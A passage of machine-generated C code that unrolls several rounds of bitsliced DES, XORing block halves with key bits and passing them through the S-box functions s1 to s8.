= l14 ^ out95; l20 = l20 ^ out96; unsigned long t145 = l31 ^ k25; unsigned long t146 = l0 ^ k46; unsigned long t147 = l1 ^ k4; unsigned long t148 = l2 ^ k13; unsigned long t149 = l3 ^ k48; unsigned long t150 = l4 ^ k19; unsigned long out97; unsigned long out98; unsigned long out99; unsigned long out100; s1(t145,t146,t147,t148,t149,t150, &out97,&out98,&out99,&out100); r8 = r8 ^ out97; r16 = r16 ^ out98; r22 = r22 ^ out99; r30 = r30 ^ out100; unsigned long t151 = l3 ^ k5; unsigned long t152 = l4 ^ k41; unsigned long t153 = l5 ^ k32; unsigned long t154 = l6 ^ k26; unsigned long t155 = l7 ^ k17; unsigned long t156 = l8 ^ k54; unsigned long out101; unsigned long out102; unsigned long out103; unsigned long out104; s2(t151,t152,t153,t154,t155,t156, &out101,&out102,&out103,&out104); r12 = r12 ^ out101; r27 = r27 ^ out102; r1 = r1 ^ out103; r17 = r17 ^ out104; unsigned long t157 = l7 ^ k6; unsigned long t158 = l8 ^ k3; unsigned long t159 = l9 ^ k11; unsigned long t160 = l10 ^ k12; unsigned long t161 = l11 ^ k27; unsigned long t162 = l12 ^ k40; unsigned long out105; unsigned long out106; unsigned long out107; unsigned long out108; s3(t157,t158,t159,t160,t161,t162, &out105,&out106,&out107,&out108); r23 = r23 ^ out105; r15 = r15 ^ out106; r29 = r29 ^ out107; r5 = r5 ^ out108; unsigned long t163 = l11 ^ k39; unsigned long t164 = l12 ^ k33; unsigned long t165 = l13 ^ k34; unsigned long t166 = l14 ^ k10; unsigned long t167 = l15 ^ k18; unsigned long t168 = l16 ^ k55; unsigned long out109; unsigned long out110; unsigned long out111; unsigned long out112; s4(t163,t164,t165,t166,t167,t168, &out109,&out110,&out111,&out112); r25 = r25 ^ out109; r19 = r19 ^ out110; r9 = r9 ^ out111; r0 = r0 ^ out112; unsigned long t169 = l15 ^ k16; unsigned long t170 = l16 ^ k7; unsigned long t171 = l17 ^ k1; unsigned long t172 = l18 ^ k43; unsigned long t173 = l19 ^ k31; unsigned long t174 = l20 ^ k28; unsigned long out113; unsigned long out114; unsigned long out115; unsigned long out116; s5(t169,t170,t171,t172,t173,t174, &out113,&out114,&out115,&out116); r7 = r7 ^ out113; r13 = r13 ^ out114; r24 = r24 ^ out115; r2 = r2 ^ out116; unsigned long t175 = l19 ^ k49; unsigned long t176 = l20 ^ k9; unsigned long t177 = l21 ^ k0; unsigned long t178 = l22 ^ k44; unsigned long t179 = l23 ^ k15; unsigned long t180 = l24 ^ k38; unsigned long out117; unsigned long out118; unsigned long out119; unsigned long out120; s6(t175,t176,t177,t178,t179,t180, &out117,&out118,&out119,&out120); r3 = r3 ^ out117; r28 = r28 ^ out118; r10 = r10 ^ out119; r18 = r18 ^ out120; unsigned long t181 = l23 ^ k37; unsigned long t182 = l24 ^ k45; unsigned long t183 = l25 ^ k2; unsigned long t184 = l26 ^ k35; unsigned long t185 = l27 ^ k22; unsigned long t186 = l28 ^ k14; unsigned long out121; unsigned long out122; unsigned long out123; unsigned long out124; s7(t181,t182,t183,t184,t185,t186, &out121,&out122,&out123,&out124); r31 = r31 ^ out121; r11 = r11 ^ out122; r21 = r21 ^ out123; r6 = r6 ^ out124; unsigned long t187 = l27 ^ k51; unsigned long t188 = l28 ^ k23; unsigned long t189 = l29 ^ k52; unsigned long t190 = l30 ^ k36; unsigned long t191 = l31 ^ k42; unsigned long t192 = l0 ^ k8; unsigned long out125; unsigned long out126; unsigned long out127; unsigned long out128; s8(t187,t188,t189,t190,t191,t192, &out125,&out126,&out127,&out128); r4 = r4 ^ out125; r26 = r26 ^ out126; r14 = r14 ^ out127; r20 = r20 ^ out128; unsigned long t193 = r31 ^ k39; unsigned long t194 = r0 ^ k3; unsigned long t195 = r1 ^ k18; unsigned long t196 = r2 ^ k27; unsigned long t197 = r3 ^ k5; unsigned long t198 = r4 ^ k33; unsigned long out129; unsigned long out130; unsigned long out131; unsigned long out132; s1(t193,t194,t195,t196,t197,t198, &out129,&out130,&out131,&out132); l8 = l8 ^ out129; l16 = l16 ^ out130; l22 = l22 ^ out131; l30 = l30 ^ out132; unsigned long t199 = r3 ^ k19; unsigned long t200 = r4 ^ k55; unsigned long t201 = r5 ^ k46; unsigned long t202 = r6 ^ k40; unsigned long t203 = r7 ^ k6; unsigned long t204 = r8 ^ k11; unsigned long out133; unsigned long out134; unsigned long out135; unsigned long out136; s2(t199,t200,t201,t202,t203,t204, &out133,&out134,&out135,&out136); l12 = l12 ^ out133; l27 = l27 ^ out134; l1 = l1 ^ out135; l17 = l17 ^ out136; unsigned long t205 = r7 ^ k20; unsigned long t206 = r8 ^ k17; unsigned long t207 = r9 ^ k25; unsigned long t208 = r10 ^ k26; unsigned long t209 = r11 ^ k41; unsigned long t210 = r12 ^ k54; unsigned long out137; unsigned long out138; unsigned long out139; unsigned long out140; s3(t205,t206,t207,t208,t209,t210, &out137,&out138,&out139,&out140); l23 = l23 ^ out137; l15 = l15 ^ out138; l29 = l29 ^ out139; l5 = l5 ^ out140; unsigned long t211 = r11 ^ k53; unsigned long t212 = r12 ^ k47; unsigned long t213 = r13 ^ k48; unsigned long t214 = r14 ^ k24; unsigned long t215 = r15 ^ k32; unsigned long t216 = r16 ^ k12; unsigned long out141; unsigned long out142; unsigned long out143; unsigned long out144; s4(t211,t212,t213,t214,t215,t216, &out141,&out142,&out143,&out144); l25 = l25 ^ out141; l19 = l19 ^ out142; l9 = l9 ^ out143; l0 = l0 ^ out144; unsigned long t217 = r15 ^ k30; unsigned long t218 = r16 ^ k21; unsigned long t219 = r17 ^ k15; unsigned long t220 = r18 ^ k2; unsigned long t221 = r19 ^ k45; unsigned long t222 = r20 ^ k42; unsigned long out145; unsigned long out146; unsigned long out147; unsigned long out148; s5(t217,t218,t219,t220,t221,t222, &out145,&out146,&out147,&out148); l7 = l7 ^ out145; l13 = l13 ^ out146; l24 = l24 ^ out147; l2 = l2 ^ out148; unsigned long t223 = r19 ^ k8; unsigned long t224 = r20 ^ k23; unsigned long t225 = r21 ^ k14; unsigned long t226 = r22 ^ k31; unsigned long t227 = r23 ^ k29; unsigned long t228 = r24 ^ k52; unsigned long out149; unsigned long out150; unsigned long out151; unsigned long out152; s6(t223,t224,t225,t226,t227,t228, &out149,&out150,&out151,&out152); l3 = l3 ^ out149; l28 = l28 ^ out150; l10 = l10 ^ out151; l18 = l18 ^ out152; unsigned long t229 = r23 ^ k51; unsigned long t230 = r24 ^ k0; unsigned long t231 = r25 ^ k16; unsigned long t232 = r26 ^ k49; unsigned long t233 = r27 ^ k36; unsigned long t234 = r28 ^ k28; unsigned long out153; unsigned long out154; unsigned long out155; unsigned long out156; s7(t229,t230,t231,t232,t233,t234, &out153,&out154,&out155,&out156); l31 = l31 ^ out153; l11 = l11 ^ out154; l21 = l21 ^ out155; l6 = l6 ^ out156; unsigned long t235 = r27 ^ k38; unsigned long t236 = r28 ^ k37; unsigned long t237 = r29 ^ k7; unsigned long t238 = r30 ^ k50; unsigned long t239 = r31 ^ k1; unsigned long t240 = r0 ^ k22; unsigned long out157; unsigned long out158; unsigned long out159; unsigned long out160; s8(t235,t236,t237,t238,t239,t240, &out157,&out158,&out159,&out160); l4 = l4 ^ out157; l26 = l26 ^ out158; l14 = l14 ^ out159; l20 = l20 ^ out160; unsigned long t241 = l31 ^ k53; unsigned long t242 = l0 ^ k17; unsigned long t243 = l1 ^ k32; unsigned long t244 = l2 ^ k41; unsigned long t245 = l3 ^ k19; unsigned long t246 = l4 ^ k47; unsigned long out161; unsigned long out162; unsigned long out163; unsigned long out164; s1(t241,t242,t243,t244,t245,t246, &out161,&out162,&out163,&out164); r8 = r8 ^ out161; r16 = r16 ^ out162; r22 = r22 ^ out163; r30 = r30 ^ out164; unsigned long t247 = l3 ^ k33; unsigned long t248 = l4 ^ k12; unsigned long t249 = l5 ^ k3; unsigned long t250 = l6 ^ k54; unsigned long t251 = l7 ^ k20; unsigned long t252 = l8 ^ k25; unsigned long out165; unsigned long out166; unsigned long out167; unsigned long out168; s2(t247,t248,t249,t250,t251,t252, &out165,&out166,&out167,&out168); r12 = r12 ^ out165; r27 = r27 ^ out166; r1 = r1 ^ out167; r17 = r17 ^ out168; unsigned long t253 = l7 ^ k34; unsigned long t254 = l8 ^ k6; unsigned long t255 = l9 ^ k39; unsigned long t256 = l10 ^ k40; unsigned long t257 = l11 ^ k55; unsigned long t258 = l12 ^ k11; unsigned long out169; unsigned long out170; unsigned long out171; unsigned long out172; s3(t253,t254,t255,t256,t257,t258, &out169,&out170,&out171,&out172); r23 = r23 ^ out169; r15 = r15 ^ out170; r29 = r29 ^ out171; r5 = r5 ^ out172; unsigned long t259 = l11 ^ k10; unsigned long t260 = l12 ^ k4; unsigned long t261 = l13 ^ k5; unsigned long t262 = l14 ^ k13; unsigned long t263 = l15 ^ k46; unsigned long t264 = l16 ^ k26; unsigned long out173; unsigned long out174; unsigned long out175; unsigned long out176; s4(t259,t260,t261,t262,t263,t264, &out173,&out174,&out175,&out176); r25 = r25 ^ out173; r19 = r19 ^ out174; r9 = r9 ^ out175; r0 = r0 ^ out176; unsigned long t265 = l15 ^ k44; unsigned long t266 = l16 ^ k35; unsigned long t267 = l17 ^ k29; unsigned long t268 = l18 ^ k16; unsigned long t269 = l19 ^ k0; unsigned long t270 = l20 ^ k1; unsigned long out177; unsigned long out178; unsigned long out179; unsigned long out180; s5(t265,t266,t267,t268,t269,t270, &out177,&out178,&out179,&out180); r7 = r7 ^ out177; r13 = r13 ^ out178; r24 = r24 ^ out179; r2 = r2 ^ out180; unsigned long t271 = l19 ^ k22; unsigned long t272 = l20 ^ k37; unsigned long t273 = l21 ^ k28; unsigned long t274 = l22 ^ k45; unsigned long t275 = l23 ^ k43; unsigned long t276 = l24 ^ k7; unsigned long out181; unsigned long out182; unsigned long out183; unsigned long out184; s6(t271,t272,t273,t274,t275,t276, &out181,&out182,&out183,&out184); r3 = r3 ^ out181; r28 = r28 ^ out182; r10 = r10 ^ out183; r18 = r18 ^ out184; unsigned long t277 = l23 ^ k38; unsigned long t278 = l24 ^ k14; unsigned long t279 = l25 ^ k30; unsigned long t280 = l26 ^ k8; unsigned long t281 = l27 ^ k50; unsigned long t282 = l28 ^ k42; unsigned long out185; unsigned long out186; unsigned long out187; unsigned long out188; s7(t277,t278,t279,t280,t281,t282, &out185,&out186,&out187,&out188); r31 = r31 ^ out185; r11 = r11 ^ out186; r21 = r21 ^ out187; r6 = r6 ^ out188; unsigned long t283 = l27 ^ k52; unsigned long t284 = l28 ^ k51; unsigned long t285 = l29 ^ k21; unsigned long t286 = l30 ^ k9; unsigned long t287 = l31 ^ k15; unsigned long t288 = l0 ^ k36; unsigned long out189; unsigned long out190; unsigned long out191; unsigned long out192; s8(t283,t284,t285,t286,t287,t288, &out189,&out190,&out191,&out192); r4 = r4 ^ out189; r26 = r26 ^ out190; r14 = r14 ^ out191; r20 = r20 ^ out192; unsigned long t289 = r31 ^ k10; unsigned long t290 = r0 ^ k6; unsigned long t291 = r1 ^ k46; unsigned long t292 = r2 ^ k55; unsigned long t293 = r3 ^ k33; unsigned long t294 = r4 ^ k4; unsigned long out193; unsigned long out194; unsigned long out195; unsigned long out196; s1(t289,t290,t291,t292,t293,t294, &out193,&out194,&out195,&out196); l8 = l8 ^ out193; l16 = l16 ^ out194; l22 = l22 ^ out195; l30 = l30 ^ out196; unsigned long t295 = r3 ^ k47; unsigned long t296 = r4 ^ k26; unsigned long t297 = r5 ^ k17; unsigned long t298 = r6 ^ k11; unsigned long t299 = r7 ^ k34; unsigned long t300 = r8 ^ k39; unsigned long out197; unsigned long out198; unsigned long out199; unsigned long out200; s2(t295,t296,t297,t298,t299,t300, &out197,&out198,&out199,&out200); l12 = l12 ^ out197; l27 = l27 ^ out198; l1 = l1 ^ out199; l17 = l17 ^ out200; unsigned long t301 = r7 ^ k48; unsigned long t302 = r8 ^ k20; unsigned long t303 = r9 ^ k53; unsigned long t304 = r10 ^ k54; unsigned long t305 = r11 ^ k12; unsigned long t306 = r12 ^ k25; unsigned long out201; unsigned long out202; unsigned long out203; unsigned long out204; s3(t301,t302,t303,t304,t305,t306, &out201,&out202,&out203,&out204); l23 = l23 ^ out201; l15 = l15 ^ out202; l29 = l29 ^ out203; l5 = l5 ^ out204; unsigned long t307 = r11 ^ k24; unsigned long t308 = r12 ^ k18; unsigned long t309 = r13 ^ k19; unsigned long t310 = r14 ^ k27; unsigned long t311 = r15 ^ k3; unsigned long t312 = r16 ^ k40; unsigned long out205; unsigned long out206; unsigned long out207; unsigned long out208; s4(t307,t308,t309,t310,t311,t312, &out205,&out206,&out207,&out208); l25 = l25 ^ out205; l19 = l19 ^ out206; l9 = l9 ^ out207; l0 = l0 ^ out208; unsigned long t313 = r15 ^ k31; unsigned long t314 = r16 ^ k49; unsigned long t315 = r17 ^ k43; unsigned long t316 = r18 ^ k30; unsigned long t317 = r19 ^ k14; unsigned long t318 = r20 ^ k15; unsigned long out209; unsigned long out210; unsigned long out211; unsigned long out212; s5(t313,t314,t315,t316,t317,t318, &out209,&out210,&out211,&out212); l7 = l7 ^ out209; l13 = l13 ^ out210; l24 = l24 ^ out211; l2 = l2 ^ out212; unsigned long t319 = r19 ^ k36; unsigned long t320 = r20 ^ k51; unsigned long t321 = r21 ^ k42; unsigned long t322 = r22 ^ k0; unsigned long t323 = r23 ^ k2; unsigned long t324 = r24 ^ k21; unsigned long out213; unsigned long out214; unsigned long out215; unsigned long out216; s6(t319,t320,t321,t322,t323,t324, &out213,&out214,&out215,&out216); l3 = l3 ^ out213; l28 = l28 ^ out214; l10 = l10 ^ out215; l18 = l18 ^ out216; unsigned long t325 = r23 ^ k52; unsigned long t326 = r24 ^ k28; unsigned long t327 = r25 ^ k44; unsigned long t328 = r26 ^ k22; unsigned long t329 = r27 ^ k9; unsigned long t330 = r28 ^ k1; unsigned long out217; unsigned long out218; unsigned long out219; unsigned long out220; s7(t325,t326,t327,t328,t329,t330, &out217,&out218,&out219,&out220); l31 = l31 ^ out217; l11 = l11 ^ out218; l21 = l21 ^ out219; l6 = l6 ^ out220; unsigned long t331 = r27 ^ k7; unsigned long t332 = r28 ^ k38; unsigned long t333 = r29 ^ k35; unsigned long t334 = r30 ^ k23; unsigned long t335 = r31 ^ k29; unsigned long t336 = r0 ^ k50; unsigned long out221; unsigned long out222; unsigned long out223; unsigned long out224; s8(t331,t332,t333,t334,t335,t336, &out221,&out222,&out223,&out224); l4 = l4 ^ out221; l26 = l26 ^ out222; l14 = l14 ^ out223; l20 = l20 ^ out224; unsigned long t337 = l31 ^ k24; unsigned long t338 = l0 ^ k20; unsigned long t339 = l1 ^ k3; unsigned long t340 = l2 ^ k12; unsigned long t341 = l3 ^ k47; unsigned long t342 = l4 ^ k18; unsigned long out225; unsigned long out226; unsigned long out227; unsigned long out228; s1(t337,t338,t339,t340,t341,t342, &out225,&out226,&out227,&out228); r8 = r8 ^ out225; r16 = r16 ^ out226; r22 = r22 ^ out227; r30 = r30 ^ out228; unsigned long t343 = l3 ^ k4; unsigned long t344 = l4 ^ k40; unsigned long t345 = l5 ^ k6; unsigned long t346 = l6 ^ k25; unsigned long t347 = l7 ^ k48; unsigned long t348 = l8 ^ k53; unsigned long out229; unsigned long out230; unsigned long out231; unsigned long out232; s2(t343,t344,t345,t346,t347,t348, &out229,&out230,&out231,&out232); r12 = r12 ^ out229; r27 = r27 ^ out230; r1 = r1 ^ out231; r17 = r17 ^ out232; unsigned long t349 = l7 ^ k5; unsigned long t350 = l8 ^ k34; unsigned long t351 = l9 ^ k10; unsigned long t352 = l10 ^ k11; unsigned long t353 = l11 ^ k26; unsigned long t354 = l12 ^ k39; unsigned long out233; unsigned long out234; unsigned long out235; unsigned long out236; s3(t349,t350,t351,t352,t353,t354, &out233,&out234,&out235,&out236); r23 = r23 ^ out233; r15 = r15 ^ out234; r29 = r29 ^ out235; r5 = r5 ^ out236; unsigned long t355 = l11 ^ k13; unsigned long t356 = l12 ^ k32; unsigned long t357 = l13 ^ k33; unsigned long t358 = l14 ^ k41; unsigned long t359 = l15 ^ k17; unsigned long t360 = l16 ^ k54; unsigned long out237; unsigned long out238; unsigned long out239; unsigned long out240; s4(t355,t356,t357,t358,t359,t360, &out237,&out238,&out239,&out240); r25 = r25 ^ out237; r19 = r19 ^ out238; r9 = r9 ^ out239; r0 = r0 ^ out240; unsigned long t361 = l15 ^ k45; unsigned long t362 = l16 ^ k8; unsigned long t363 = l17 ^ k2; unsigned long t364 = l18 ^ k44; unsigned long t365 = l19 ^ k28; unsigned long t366 = l20 ^ k29; unsigned long out241; unsigned long out242; unsigned long out243; unsigned long out244; s5(t361,t362,t363,t364,t365,t366, &out241,&out242,&out243,&out244); r7 = r7 ^ out241; r13 = r13 ^ out242; r24 = r24 ^ out243; r2 = r2 ^ out244; unsigned long t367 = l19 ^ k50; unsigned long t368 = l20 ^ k38; unsigned long t369 = l21 ^ k1; unsigned long t370 = l22 ^ k14; unsigned long t371 = l23 ^ k16; unsigned long t372 = l24 ^ k35; unsigned long out245; unsigned long out246; unsigned long out247; unsigned long out248; s6(t367,t368,t369,t370,t371,t372, &out245,&out246,&out247,&out248); r3 = r3 ^ out245; r28 = r28 ^ out246; r10 = r10 ^ out247; r18 = r18 ^ out248; unsigned long t373 = l23 ^ k7; unsigned long t374 = l24 ^ k42; unsigned long t375 = l25 ^ k31; unsigned long t376 = l26 ^ k36; unsigned long t377 = l27 ^ k23; unsigned long t378 = l28 ^ k15; unsigned long out249; unsigned long out250; unsigned long out251; unsigned long out252; s7(t373,t374,t375,t376,t377,t378, &out249,&out250,&out251,&out252); r31 = r31 ^ out249; r11 = r11 ^ out250; r21 = r21 ^ out251; r6 = r6 ^ out252; unsigned long t379 = l27 ^ k21; unsigned long t380 = l28 ^ k52; unsigned long t381 = l29 ^ k49; unsigned long t382 = l30 ^ k37; unsigned long t383 = l31 ^ k43; unsigned long t384 = l0 ^ k9; unsigned long out253; unsigned long out254; unsigned long out255; unsigned long out256; s8(t379,t380,t381,t382,t383,t384, &out253,&out254,&out255,&out256); r4 = r4 ^ out253; r26 = r26 ^ out254; r14 = r14 ^ out255; r20 = r20 ^ out256; unsigned long t385 = r31 ^ k6; unsigned long t386 = r0 ^ k27; unsigned long t387 = r1 ^ k10; unsigned long t388 = r2 ^ k19; unsigned long t389 = r3 ^ k54; unsigned long t390 = r4 ^ k25; unsigned long out257; unsigned long out258; unsigned long out259; unsigned long out260; s1(t385,t386,t387,t388,t389,t390, &out257,&out258,&out259,&out260); l8 = l8 ^ out257; l16 = l16 ^ out258; l22 = l22 ^ out259; l30 = l30 ^ out260; unsigned long t391 = r3 ^ k11; unsigned long t392 = r4 ^ k47; unsigned long t393 = r5 ^ k13; unsigned long t394 = r6 ^ k32; unsigned long t395 = r7 ^ k55; unsigned long t396 = r8 ^ k3; unsigned long out261; unsigned long out262; unsigned long out263; unsigned long out264; s2(t391,t392,t393,t394,t395,t396, &out261,&out262,&out263,&out264); l12 = l12 ^ out261; l27 = l27 ^ out262; l1 = l1 ^ out263; l17 = l17 ^ out264; unsigned long t397 = r7 ^ k12; unsigned long t398 = r8 ^ k41; unsigned long t399 = r9 ^ k17; unsigned long t400 = r10 ^ k18; unsigned long t401 = r11 ^ k33; unsigned long t402 = r12 ^ k46; unsigned long out265; unsigned long out266; unsigned long out267; unsigned long out268; s3(t397,t398,t399,t400,t401,t402, &out265,&out266,&out267,&out268); l23 = l23 ^ out265; l15 = l15 ^ out266; l29 = l29 ^ out267; l5 = l5 ^ out268; unsigned long t403 = r11 ^ k20; unsigned long t404 = r12 ^ k39; unsigned long t405 = r13 ^ k40; unsigned long t406 = r14 ^ k48; unsigned long t407 = r15 ^ k24; unsigned long t408 = r16 ^ k4; unsigned long out269; unsigned long out270; unsigned long out271; unsigned long out272; s4(t403,t404,t405,t406,t407,t408, &out269,&out270,&out271,&out272); l25 = l25 ^ out269; l19 = l19 ^ out270; l9 = l9 ^ out271; l0 = l0 ^ out272; unsigned long t409 = r15 ^ k52; unsigned long t410 = r16 ^ k15; unsigned long t411 = r17 ^ k9; unsigned long t412 = r18 ^ k51; unsigned long t413 = r19 ^ k35; unsigned long t414 = r20 ^ k36; unsigned long out273; unsigned long out274; unsigned long out275; unsigned long out276; s5(t409,t410,t411,t412,t413,t414, &out273,&out274,&out275,&out276); l7 = l7 ^ out273; l13 = l13 ^ out274; l24 = l24 ^ out275; l2 = l2 ^ out276; unsigned long t415 = r19 ^ k2; unsigned long t416 = r20 ^ k45; unsigned long t417 = r21 ^ k8; unsigned long t418 = r22 ^ k21; unsigned long t419 = r23 ^ k23; unsigned long t420 = r24 ^ k42; unsigned long out277; unsigned long out278; unsigned long out279; unsigned long out280; s6(t415,t416,t417,t418,t419,t420, &out277,&out278,&out279,&out280); l3 = l3 ^ out277; l28 = l28 ^ out278; l10 = l10 ^ out279; l18 = l18 ^ out280; unsigned long t421 = r23 ^ k14; unsigned long t422 = r24 ^ k49; unsigned long t423 = r25 ^ k38; unsigned long t424 = r26 ^ k43; unsigned long t425 = r27 ^ k30; unsigned long t426 = r28 ^ k22; unsigned long out281; unsigned long out282; unsigned long out283; unsigned long out284; s7(t421,t422,t423,t424,t425,t426, &out281,&out282,&out283,&out284); l31 = l31 ^ out281; l11 = l11 ^ out282; l21 = l21 ^ out283; l6 = l6 ^ out284; unsigned long t427 = r27 ^ k28; unsigned long t428 = r28 ^ k0; unsigned long t429 = r29 ^ k1; unsigned long t430 = r30 ^ k44; unsigned long t431 = r31 ^ k50; unsigned long t432 = r0 ^ k16; unsigned long out285; unsigned long out286; unsigned long out287; unsigned long out288; s8(t427,t428,t429,t430,t431,t432, &out285,&out286,&out287,&out288); l4 = l4 ^ out285; l26 = l26 ^ out286; l14 = l14 ^ out287; l20 = l20 ^ out288; unsigned long t433 = l31 ^ k20; unsigned long t434 = l0 ^ k41; unsigned long t435 = l1 ^ k24; unsigned long t436 = l2 ^ k33; unsigned long t437 = l3 ^ k11; unsigned long t438 = l4 ^ k39; unsigned long out289; unsigned long out290; unsigned long out291; unsigned long out292; s1(t433,t434,t435,t436,t437,t438, &out289,&out290,&out291,&out292); r8 = r8 ^ out289; r16 = r16 ^ out290; r22 = r22 ^ out291; r30 = r30 ^ out292; unsigned long t439 = l3 ^ k25; unsigned long t440 = l4 ^ k4; unsigned long t441 = l5 ^ k27; unsigned long t442 = l6 ^ k46; unsigned long t443 = l7 ^ k12; unsigned long t444 = l8 ^ k17; unsigned long out293; unsigned long out294; unsigned long out295; unsigned long out296; s2(t439,t440,t441,t442,t443,t444, &out293,&out294,&out295,&out296); r12 = r12 ^ out293; r27 = r27 ^ out294; r1 = r1 ^ out295; r17 = r17 ^ out296; unsigned long t445 = l7 ^ k26; unsigned long t446 = l8 ^ k55; unsigned long t447 = l9 ^ k6; unsigned long t448 = l10 ^ k32; unsigned long t449 = l11 ^ k47; unsigned long t450 = l12 ^ k3; unsigned long out297; unsigned long out298; unsigned long out299; unsigned long out300; s3(t445,t446,t447,t448,t449,t450, &out297,&out298,&out299,&out300); r23 = r23 ^ out297; r15 = r15 ^ out298; r29 = r29 ^ out299; r5 = r5 ^ out300; unsigned long t451 = l11 ^ k34; unsigned long t452 = l12 ^ k53; unsigned long t453 = l13 ^ k54; unsigned long t454 = l14 ^ k5; unsigned long t455 = l15 ^ k13; unsigned long t456 = l16 ^ k18; unsigned long out301; unsigned long out302; unsigned long out303; unsigned long out304; s4(t451,t452,t453,t454,t455,t456, &out301,&out302,&out303,&out304); r25 = r25 ^ out301; r19 = r19 ^ out302; r9 = r9 ^ out303; r0 = r0 ^ out304; unsigned long t457 = l15 ^ k7; unsigned long t458 = l16 ^ k29; unsigned long t459 = l17 ^ k23; unsigned long t460 = l18 ^ k38; unsigned long t461 = l19 ^ k49; unsigned long t462 = l20 ^ k50; unsigned long out305; unsigned long out306; unsigned long out307; unsigned long out308; s5(t457,t458,t459,t460,t461,t462, &out305,&out306,&out307,&out308); r7 = r7 ^ out305; r13 = r13 ^ out306; r24 = r24 ^ out307; r2 = r2 ^ out308; unsigned long t463 = l19 ^ k16; unsigned long t464 = l20 ^ k0; unsigned long t465 = l21 ^ k22; unsigned long t466 = l22 ^ k35; unsigned long t467 = l23 ^ k37; unsigned long t468 = l24 ^ k1; unsigned long out309; unsigned long out310; unsigned long out311; unsigned long out312; s6(t463,t464,t465,t466,t467,t468, &out309,&out310,&out311,&out312); r3 = r3 ^ out309; r28 = r28 ^ out310; r10 = r10 ^ out311; r18 = r18 ^ out312; unsigned long t469 = l23 ^ k28; unsigned long t470 = l24 ^ k8; unsigned long t471 = l25 ^ k52; unsigned long t472 = l26 ^ k2; unsigned long t473 = l27 ^ k44; unsigned long t474 = l28 ^ k36; unsigned long out313; unsigned long out314; unsigned long out315; unsigned long out316; s7(t469,t470,t471,t472,t473,t474, &out313,&out314,&out315,&out316); r31 = r31 ^ out313; r11 = r11 ^ out314; r21 = r21 ^ out315; r6 = r6 ^ out316; unsigned long t475 = l27 ^ k42; unsigned long t476 = l28 ^ k14; unsigned long t477 = l29 ^ k15; unsigned long t478 = l30 ^ k31; unsigned long t479 = l31 ^ k9; unsigned long t480 = l0 ^ k30; unsigned long out317; unsigned long out318; unsigned long out319; unsigned long out320; s8(t475,t476,t477,t478,t479,t480, &out317,&out318,&out319,&out320); r4 = r4 ^ out317; r26 = r26 ^ out318; r14 = r14 ^ out319; r20 = r20 ^ out320; unsigned long t481 = r31 ^ k34; unsigned long t482 = r0 ^ k55; unsigned long t483 = r1 ^ k13; unsigned long t484 = r2 ^ k47; unsigned long t485 = r3 ^ k25; unsigned long t486 = r4 ^ k53; unsigned long out321; unsigned long out322; unsigned long out323; unsigned long out324; s1(t481,t482,t483,t484,t485,t486, &out321,&out322,&out323,&out324); l8 = l8 ^ out321; l16 = l16 ^ out322; l22 = l22 ^ out323; l30 = l30 ^ out324; unsigned long t487 = r3 ^ k39; unsigned long t488 = r4 ^ k18; unsigned long t489 = r5 ^ k41; unsigned long t490 = r6 ^ k3; unsigned long t491 = r7 ^ k26; unsigned long t492 = r8 ^ k6; unsigned long out325; unsigned long out326; unsigned long out327; unsigned long out328; s2(t487,t488,t489,t490,t491,t492, &out325,&out326,&out327,&out328); l12 = l12 ^ out325; l27 = l27 ^ out326; l1 = l1 ^ out327; l17 = l17 ^ out328; unsigned long t493 = r7 ^ k40; unsigned long t494 = r8 ^ k12; unsigned long t495 = r9 ^ k20; unsigned long t496 = r10 ^ k46; unsigned long t497 = r11 ^ k4; unsigned long t498 = r12 ^ k17; unsigned long out329; unsigned long out330; unsigned long out331; unsigned long out332; s3(t493,t494,t495,t496,t497,t498, &out329,&out330,&out331,&out332); l23 = l23 ^ out329; l15 = l15 ^ out330; l29 = l29 ^ out331; l5 = l5 ^ out332; unsigned long t499 = r11 ^ k48; unsigned long t500 = r12 ^ k10; unsigned long t501 = r13 ^ k11; unsigned long t502 = r14 ^ k19; unsigned long t503 = r15 ^ k27; unsigned long t504 = r16 ^ k32; unsigned long out333; unsigned long out334; unsigned long out335; unsigned long out336; s4(t499,t500,t501,t502,t503,t504, &out333,&out334,&out335,&out336); l25 = l25 ^ out333; l19 = l19 ^ out334; l9 = l9 ^ out335; l0 = l0 ^ out336; unsigned long t505 = r15 ^ k21; unsigned long t506 = r16 ^ k43; unsigned long t507 = r17 ^ k37; unsigned long t508 = r18 ^ k52; unsigned long t509 = r19 ^ k8; unsigned long t510 = r20 ^ k9; unsigned long out337; unsigned long out338; unsigned long out339; unsigned long out340; s5(t505,t506,t507,t508,t509,t510, &out337,&out338,&out339,&out340); l7 = l7 ^ out337; l13 = l13 ^ out338; l24 = l24 ^ out339; l2 = l2 ^ out340; unsigned long t511 = r19 ^ k30; unsigned long t512 = r20 ^ k14; unsigned long t513 = r21 ^ k36; unsigned long t514 = r22 ^ k49; unsigned long t515 = r23 ^ k51; unsigned long t516 = r24 ^ k15; unsigned long out341; unsigned long out342; unsigned long out343; unsigned long out344; s6(t511,t512,t513,t514,t515,t516, &out341,&out342,&out343,&out344); l3 = l3 ^ out341; l28 = l28 ^ out342; l10 = l10 ^ out343; l18 = l18 ^ out344; unsigned long t517 = r23 ^ k42; unsigned long t518 = r24 ^ k22; unsigned long t519 = r25 ^ k7; unsigned long t520 = r26 ^ k16; unsigned long t521 = r27 ^ k31; unsigned long t522 = r28 ^ k50; unsigned long out345; unsigned long out346; unsigned long out347; unsigned long out348; s7(t517,t518,t519,t520,t521,t522, &out345,&out346,&out347,&out348); l31 = l31 ^ out345; l11 = l11 ^ out346; l21 = l21 ^ out347; l6 = l6 ^ out348; unsigned long t523 = r27 ^ k1; unsigned long t524 = r28 ^ k28; unsigned long t525 = r29 ^ k29; unsigned long t526 = r30 ^ k45; unsigned long t527 = r31 ^ k23; unsigned long t528 = r0 ^ k44; unsigned long out349; unsigned long out350; unsigned long out351; unsigned long out352; s8(t523,t524,t525,t526,t527,t528, &out349,&out350,&out351,&out352); l4 = l4 ^ out349; l26 = l26 ^ out350; l14 = l14 ^ out351; l20 = l20 ^ out352; unsigned long t529 = l31 ^ k48; unsigned long t530 = l0 ^ k12; unsigned long t531 = l1 ^ k27; unsigned long t532 = l2 ^ k4; unsigned long t533 = l3 ^ k39; unsigned long t534 = l4 ^ k10; unsigned long out353; unsigned long out354; unsigned long out355; unsigned long out356; s1(t529,t530,t531,t532,t533,t534, &out353,&out354,&out355,&out356); r8 = r8 ^ out353; r16 = r16 ^ out354; r22 = r22 ^ out355; r30 = r30 ^ out356; unsigned long t535 = l3 ^ k53; unsigned long t536 = l4 ^ k32; unsigned long t537 = l5 ^ k55; unsigned long t538 = l6 ^ k17; unsigned long t539 = l7 ^ k40; 